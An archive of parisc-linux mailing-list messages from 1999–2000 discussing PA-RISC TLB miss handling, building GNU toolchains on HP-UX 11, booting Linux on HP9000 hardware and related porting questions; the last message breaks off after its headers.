X-Trace: ger.gmane.org 1416618958 899 80.91.229.3 (22 Nov 2014 01:15:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:58 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: helgaas@helgaaspc.rsn.hp.com  Mon Mar 22 12:05:35 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id MAA04273
	for <hppa-linux@sod.res.cmu.edu>; Mon, 22 Mar 1999 12:05:26 -0500
Original-Received: (qmail 24847 invoked by uid 15267); 22 Mar 1999 17:04:27 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 24840 invoked from network); 22 Mar 1999 17:04:26 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 22 Mar 1999 17:04:26 -0000
Original-Received: from mailhost.rsn.hp.com (root@idiot.rsn.hp.com [15.99.200.11])
	by palrel3.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id JAA07108
	for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 09:05:35 -0800 (PST)
Original-Received: from helgaaspc.rsn.hp.com (root@helgaaspc.rsn.hp.com [15.99.148.145])
	by mailhost.rsn.hp.com (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id LAA26138
	for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 11:05:09 -0600 (CST)
Original-Received: from helgaaspc.rsn.hp.com (helgaas@localhost [127.0.0.1])
	by helgaaspc.rsn.hp.com (8.8.7/8.8.7) with ESMTP id LAA01108
	for <hppa-linux@thepuffingroup.com>; Mon, 22 Mar 1999 11:05:09 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7418

Christopher Neufeld wrote
>
>The PA-RISC 2.0 documentation says that a (software) TLB miss fault handler
>cannot use virtual addressing. OK, what constitutes an exit from the
>handler? Can you use virtual addressing after the last modification the
>handler makes to the TLB (perhaps after executing several instructions
>which don't require virtual addressing to load the pipeline), or do you
>have to execute an explicit return from interrupt?

I think you just have to make sure that you can recover from all the
TLB miss faults you might encounter.  In order to recover, you need the
program counter at the time the trap occurred.  If the PSW Q-bit was set
at the time of interruption, the PSW and program counter are captured in
the IPSW and IIA queues, and the PSW Q-bit is cleared.  When you do the
RFI to "return from interrupt", the PSW and program counter with which
to resume are taken from from the IPSW and IIA queues.

So the software TLB miss handler runs with the Q-bit off.  If another
interruption occurred with the Q-bit off, the IPSW and IIA queues
would still reflect the point of the original TLB miss, *not* the point
where the second interruption occurred, and you would have to think very
carefully about whether this is what you want.  If the second interruption
happened to be another TLB miss, you would not get the ISR/IOR (because
the Q-bit was off), so it would be pretty tough to handle it.

You can certainly save the IPSW and IIA queues somewhere, then turn on
the Q-bit, go virtual, and do your interrupt handling in virtual mode.
In this case, you will execute an RFI just in order to turn on the Q-bit,
but the program counter at which to resume will be somewhere in the
interrupt handler, not the point where the original interruption occurred.
When you eventually finish the interrupt handler, you look up your saved
IPSW and IIA queues and do another RFI to return "for real".

HP-UX does exactly this sort of thing for handling many traps and
interrupts.  It is fairly expensive, though, since you have to have
a stack on which to save the IPSW/IIAQ and probably a bunch of other
registers, and it's too much messing around for a TLB miss.

-------------
Bjorn Helgaas   helgaas@rsn.hp.com  telnet 1-497-3069  (972)497-3069


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hpux11 build problems.
Date: Sat, 10 Jun 2000 11:20:55 +1000 (EST)
Lines: 75
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0006101047110.5101-100000@front.linuxcare.com.au>
References: <A4A5E4C468B5D11190220001FA6835DD04DD8627@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=X-UNKNOWN
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416618958 903 80.91.229.3 (22 Nov 2014 01:15:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>
Original-X-From: alan@linuxcare.com.au  Fri Jun  9 19:20:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA14951
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jun 2000 19:20:34 -0600
Original-Received: (qmail 12583 invoked by uid 15267); 10 Jun 2000 01:21:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12567 invoked from network); 10 Jun 2000 01:21:15 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 10 Jun 2000 01:21:15 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA08523;
	Sat, 10 Jun 2000 11:20:55 +1000
In-Reply-To: <A4A5E4C468B5D11190220001FA6835DD04DD8627@epixch003>
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by puffin.external.hp.com id TAA14951
Xref: news.gmane.org gmane.linux.ports.parisc:7419

cc'ing back to the list.  Someone may be able to give better answers than
I have (and others may find my answers useful)

On Fri, 9 Jun 2000, [iso-8859-1] SOETE Jol wrote:

> Dear Alan,
> 
> I do not know exactly if you are aware of this kind of problem but any way
> could help me in connecting me to the right people.
> I subscribe to the mailing list but no feedback?

I think you need to put [parisc-linux] in the subject somewhere.

> Thanks you advance for your help and understand,
> 	Joel
> 
> > -----Original Message-----
> > From:	SOETE Jol 
> > Sent:	Monday, May 15, 2000 8:18 AM
> > To:	'cjbeard@thepuffingroup.com'; 'adevries@thepuffingroup.com'
> > Subject:	
> > 
> > Dear Christopher and Alex,
> > 
> > I just find a workstation C110 (model 9000/777) with 2 disk of 4Gb and
> > 64Mb of memory and some time to install HP-UX 11.00 (release May 99) with
> > patch bundle March 2000.
> > 
> > I then try first to start to first install binutils but failed because
> > flex or lex not available.
> > 
> > I then install HP C compiler which bring lex and yacc. Then I retry to
> > build binutils but still failed because bison is not available (even
> > thought yacc is well available)?

flex and bison aren't actually needed to compile binutils, as the
files produced by them are in CVS.  However, when checking out a binutils
tree, you may end up with the generated files having an earlier date stamp
than their corresponding source files.  "make" then thinks they need to
be rebuilt.  To get around this problem, you can just "touch" the
generated files to update their date/time stamps.

> > Then I remove (swremove) the bundle of HP C compiler and install
> > precompiled GNU tools (bison-1.28-1,binutils-2.9.1-1, flex-2.5.4-1,
> > gcc-2.8.1-2, make-3.77-1, patch-2.5.1-1, les-3.40-1 (all.hpux-11.0.depot
> > naturally)). I then add /usr/local/bin to my PATH. Is it enough (versus
> > described problem below)?

Should be.

> > Then I try to rebuild directly the kernel and 'make oldconfig' works but
> > 'make dep' failed because did not found cpp (which stand well in the gcc
> > package).
> > 
> > I would like to have your advise. What links do I have to set or what tree
> > do I add to my PATH?

You haven't given me enough info to decide what the problem is here.  One
work-around you can use is to "touch .depend" and avoid the "make dep"
completely.  I build kernels this way;  It's safe if you always start off
from a clean directory.

> > Would it be better to work with gcc-2.8.1-1 (on Software Porting And
> > Archive Center for HPUX  (http://hpux.connect.org.uk/) it was no more
> > available) or to prefer HPUX 10.20? Or is it requested to install also
> > egcs-1.1.2-1?

You may be better off using the puffin gcc.  Is gcc-2.8.1 suitable for
hpux11?  I thought there was some problem with it, but maybe HP have
patched the version of gcc available from their site.

-- 
Linuxcare.  Support for the Revolution.



From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phil Schwan <phil@off.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bootable CD image
Date: Fri, 9 Jun 2000 23:44:10 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <20000609234410.G688@off.net>
References: <200006020604.XAA05048@milano.cup.hp.com> <006f01bfd230$00383510$4808a8c0@glds.com> <paulius@glds.com> <20000609230143.8DB9537DF9@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618959 909 80.91.229.3 (22 Nov 2014 01:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: phil@off.net  Fri Jun  9 21:43:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA16083
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jun 2000 21:43:22 -0600
Original-Received: (qmail 15067 invoked by uid 15267); 10 Jun 2000 03:44:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15054 invoked from network); 10 Jun 2000 03:44:03 -0000
Original-Received: from ip177.ottawa8.dialup.canada.psi.net (HELO moiraine.off.net) (@154.5.70.177)
  by mailserv2.iuinc.com with SMTP; 10 Jun 2000 03:44:03 -0000
Original-Received: (from phil@localhost)
	by moiraine.off.net (8.9.3/8.9.3) id XAA07120;
	Fri, 9 Jun 2000 23:44:10 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000609230143.8DB9537DF9@carmen.fc.hp.com>; from Matt Taggart on Fri, Jun 09, 2000 at 05:01:43PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7420

On Jun 09, Matt Taggart wrote:
> There is also a cross-toolchain(static) and some static userspace apps. There 
> is a hardware database at,
> 
> http://216.208.98.4/

Please don't reference 216.208.98.4, as the hardware database will be
moving shortly, and the address will be deprecated.  Instead, please
use http://www.thepuffingroup.com/parisc/hw.html when referring to the
hardware database.

Thanks--

-Phil


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Bootable CD image
Date: Fri, 9 Jun 2000 22:57:00 -0500 (CDT)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006092255060.1817-100000@jesse.crash.lan>
References: <006f01bfd230$00383510$4808a8c0@glds.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618959 914 80.91.229.3 (22 Nov 2014 01:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:59 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paulius Pazera <paulius@glds.com>
Original-X-From: catfish@alltel.net  Fri Jun  9 21:57:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA16374
	for <parisc-linux@puffin.external.hp.com>; Fri, 9 Jun 2000 21:57:59 -0600
Original-Received: (qmail 21726 invoked by uid 15267); 10 Jun 2000 03:58:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21652 invoked from network); 10 Jun 2000 03:58:34 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@162.39.134.137)
  by mailserv2.iuinc.com with SMTP; 10 Jun 2000 03:58:34 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id WAA01970;
	Fri, 9 Jun 2000 22:57:00 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
In-Reply-To: <006f01bfd230$00383510$4808a8c0@glds.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7421

Paulis, 
 I had the same prob, 
hardboot the thing it will ask you to fsk the drives (y/n) say no
it might drop you into root console then just passwd root and your HP-Unix
9.xx should accessable after fscking the drives. 
BUT it is not y2k compliant, it's a minor error on my 715's. 


catfish: icq #20116127


On Fri, 9 Jun 2000, Paulius Pazera wrote:

> Hi guys,
> 
> 
> Our company bought HP9000/800/H30 from auction. Hardware is ok, it boots
> HP-UX 9 fine, but there is not much to do without root password and CDs. The
> only chance I can see to make it functional is to install Linux.
> Unfortunately I could not find anything to start with. Could somebody tell
> me where from I can download bootable CD image and basic development
> utilities (gcc, glibc, etc) for pa-risc linux. Thanks a lot.
> 
> 
> Paulius
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hpux11 build problems.
Date: Sat, 10 Jun 2000 22:29:35 -0500 (CDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200006110329.WAA05054@osiris.silug.org>
References: <Pine.LNX.4.21.0006101047110.5101-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618959 925 80.91.229.3 (22 Nov 2014 01:15:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:59 +0000 (UTC)
Cc: =?US-ASCII?Q?SOETE_Jo=EBl?= <JSO@EUROPAY.COM>,
        parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: steve@osiris.silug.org  Sat Jun 10 21:29:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA25928
	for <parisc-linux@puffin.external.hp.com>; Sat, 10 Jun 2000 21:29:36 -0600
Original-Received: (qmail 8906 invoked by uid 15267); 11 Jun 2000 03:30:17 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8895 invoked from network); 11 Jun 2000 03:30:16 -0000
Original-Received: from c459759-a.belvil1.il.home.com (HELO osiris.silug.org) (24.15.96.59)
  by mailserv2.iuinc.com with SMTP; 11 Jun 2000 03:30:16 -0000
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.9.3/8.9.3) id WAA05054;
	Sat, 10 Jun 2000 22:29:35 -0500
In-Reply-To: <Pine.LNX.4.21.0006101047110.5101-100000@front.linuxcare.com.au>
 "from Alan Modra at Jun 10, 2000 11:20:55 am"
X-Mailer: ELM [version 2.4ME+ PL77 (25)]
Xref: news.gmane.org gmane.linux.ports.parisc:7422

Alan Modra said:
> > > Would it be better to work with gcc-2.8.1-1 (on Software Porting And
> > > Archive Center for HPUX  (http://hpux.connect.org.uk/) it was no more
> > > available) or to prefer HPUX 10.20? Or is it requested to install also
> > > egcs-1.1.2-1?
> 
> You may be better off using the puffin gcc.

More specifically, I'd *avoid* the gcc in
puffin.external.hp.com/pub/parisc/binaries/depot/.  That's really only
there because a) I packaged it, and b) I thought it might be useful
for getting a better toolchain compiled.  It seemed to work for me,
but I never really tested it all that well.  I mostly used the egcs
that's also there to compile everything, although I'm pretty sure that
neither is suitable for compiling the kernel...

I guess I really need to get the CVS gcc packaged up for everyone...
Is it in a reasonably stable state at the moment?

Steve
-- 
steve@silug.org           | Linux Users of Central Illinois
(618)398-7320             | Meetings the 4th Tuesday of every month
Steven Pritchard          | http://www.luci.org/ for more info


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hpux11 build problems.
Date: Sun, 11 Jun 2000 23:27:07 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200006120327.XAA08654@hiauly1.hia.nrc.ca>
References: <200006110329.WAA05054@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618960 929 80.91.229.3 (22 Nov 2014 01:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:00 +0000 (UTC)
Cc: alan@linuxcare.com.au, JSO@EUROPAY.COM, parisc-linux@thepuffingroup.com
To: steve@silug.org (Steven Pritchard)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sun Jun 11 21:28:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA01710
	for <parisc-linux@puffin.external.hp.com>; Sun, 11 Jun 2000 21:28:17 -0600
Original-Received: (qmail 18330 invoked by uid 15267); 12 Jun 2000 03:29:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18316 invoked from network); 12 Jun 2000 03:29:01 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 12 Jun 2000 03:29:01 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id XAA08654;
	Sun, 11 Jun 2000 23:27:08 -0400 (EDT)
In-Reply-To: <200006110329.WAA05054@osiris.silug.org> from "Steven Pritchard" at Jun 10, 2000 10:29:35 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7423

> I guess I really need to get the CVS gcc packaged up for everyone...
> Is it in a reasonably stable state at the moment?

There have been a lot of changes over the recent months.  Although I sense
that there is now a move to get it back to a stable state, it certainly
hasn't reached a stable state.  The new version also still has to go
through a shake out period before the next release.  The C compiler
is in better shape than C++.

The mainline CVS version is the only one that supports hpux 11.  However,
for a cross to build the linux kernel, it probably would be better to use
the release version 2.95.2 or the 2.95 CVS branch.  These are much more
reliable in my opinion.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Recipe question
Date: Wed, 14 Jun 2000 00:00:04 -0500 (CDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006132357470.6974-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618960 935 80.91.229.3 (22 Nov 2014 01:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Tue Jun 13 22:59:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA23729
	for <parisc-linux@puffin.external.hp.com>; Tue, 13 Jun 2000 22:59:36 -0600
Original-Received: (qmail 14847 invoked by uid 15267); 14 Jun 2000 05:00:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14658 invoked from network); 14 Jun 2000 05:00:09 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@166.102.253.123)
  by mailserv2.iuinc.com with SMTP; 14 Jun 2000 05:00:09 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id AAA07658
	for <parisc-linux@thepuffingroup.com>; Wed, 14 Jun 2000 00:00:06 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:7424

Hi, 
 I'm trying to build the things according to the recipe but theres only
one question so far. 
 Whats the best way to install egcs without screwing up the gcc I have
already installed? 
 egcs builds clean so should I have reseverations about overwriting my
current gcc?

Thanks 
Terry


catfish: icq #20116127



From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] oops, egcs didn't build all the way...
Date: Wed, 14 Jun 2000 00:05:06 -0500 (CDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006140003580.14629-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618960 940 80.91.229.3 (22 Nov 2014 01:16:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:00 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: catfish@alltel.net  Tue Jun 13 23:04:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA23923
	for <parisc-linux@puffin.external.hp.com>; Tue, 13 Jun 2000 23:04:27 -0600
Original-Received: (qmail 17863 invoked by uid 15267); 14 Jun 2000 05:05:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17686 invoked from network); 14 Jun 2000 05:05:01 -0000
Original-Received: from unknown (HELO jesse.crash.lan) (root@166.102.253.123)
  by mailserv2.iuinc.com with SMTP; 14 Jun 2000 05:05:01 -0000
Original-Received: from localhost (catfish@localhost)
	by jesse.crash.lan (8.9.3/8.9.3) with ESMTP id AAA14632
	for <parisc-linux@thepuffingroup.com>; Wed, 14 Jun 2000 00:05:06 -0500
X-Authentication-Warning: jesse.crash.lan: catfish owned process doing -bs
X-Sender: catfish@jesse.crash.lan
Xref: news.gmane.org gmane.linux.ports.parisc:7425

egcs failed to build, 
RH 6.1
ar: libE77/Labort.o: No such file or directory
make[2]: *** [libg2c.a] Error 1
make[2]: Leaving directory `/opt/puffin/egcs/i586-pc-linux-gnu/libf2c'
make[1]: *** [all] Error 2
make[1]: Leaving directory `/opt/puffin/egcs/i586-pc-linux-gnu/libf2c'
make: *** [all-target-libf2c] Error 2
[root@jesse egcs]# 
with that error any suggestions? 
Thanks 
Terry

catfish: icq #20116127



From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedro G. Gonnet" <pedro@vis.ethz.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] isa-ethernet for hp9000/735
Date: Wed, 14 Jun 2000 10:20:25 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <39474049.3E5DA7B8@vis.ethz.ch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618961 942 80.91.229.3 (22 Nov 2014 01:16:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pedro@vis.ethz.ch  Wed Jun 14 02:16:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA25197
	for <parisc-linux@puffin.external.hp.com>; Wed, 14 Jun 2000 02:16:45 -0600
Original-Received: (qmail 9607 invoked by uid 15267); 14 Jun 2000 08:17:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9592 invoked from network); 14 Jun 2000 08:17:34 -0000
Original-Received: from naboo.ethz.ch (129.132.71.62)
  by mailserv2.iuinc.com with SMTP; 14 Jun 2000 08:17:34 -0000
Original-Received: from vis.ethz.ch (hoth.ethz.ch [129.132.71.59])
	by naboo.ethz.ch (Postfix) with ESMTP id A96D4275B8
	for <parisc-linux@thepuffingroup.com>; Wed, 14 Jun 2000 10:17:30 +0200 (CEST)
Original-Sender: pedro@vis.ethz.ch
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.14-5.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7426


hello!

a while ago i inherited a 9000/735 with a fddi-interface and a free
isa-slot. what kind of ethernet hardware (that i can still get my hands
on for not too much money) will work with linux or hpux? this
information is pretty much fundamental to getting the machine up and
running...

thanks in advance

pedro gonnet

p.s. as i can't read the posts to often, i would greatly appreciate
replies to my e-mail ;) thanks!


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Recipe question
Date: Wed, 14 Jun 2000 10:25:07 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200006141425.KAA26058@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.10.10006132357470.6974-100000@jesse.crash.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618961 948 80.91.229.3 (22 Nov 2014 01:16:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:01 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: catfish@alltel.net (T. Martin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jun 14 08:24:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA29013
	for <parisc-linux@puffin.external.hp.com>; Wed, 14 Jun 2000 08:24:29 -0600
Original-Received: (qmail 28955 invoked by uid 15267); 14 Jun 2000 14:25:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28931 invoked from network); 14 Jun 2000 14:25:18 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 14 Jun 2000 14:25:18 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA26058;
	Wed, 14 Jun 2000 10:25:07 -0400 (EDT)
In-Reply-To: <Pine.LNX.4.10.10006132357470.6974-100000@jesse.crash.lan> from "T. Martin" at Jun 14, 2000 00:00:04 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7427

>  I'm trying to build the things according to the recipe but theres only
> one question so far. 
>  Whats the best way to install egcs without screwing up the gcc I have
> already installed? 

Use "--prefix=something" to set the installation base directory.  Do this
for both binutils and gcc.

Use "configure --help" to see all build options.  Sometimes subdirectories
have different options.

>  egcs builds clean so should I have reseverations about overwriting my
> current gcc?

Yes.  Keep your current gcc.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "T. Martin" <catfish@alltel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] oops, egcs didn't build all the way...
Date: Wed, 14 Jun 2000 13:45:58 -0500 (CDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10006141344360.727-100000@jesse.crash.lan>
References: <20000614105545.K29056@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618961 970 80.91.229.3 (22 Nov 2014 01:16:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:16:01 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
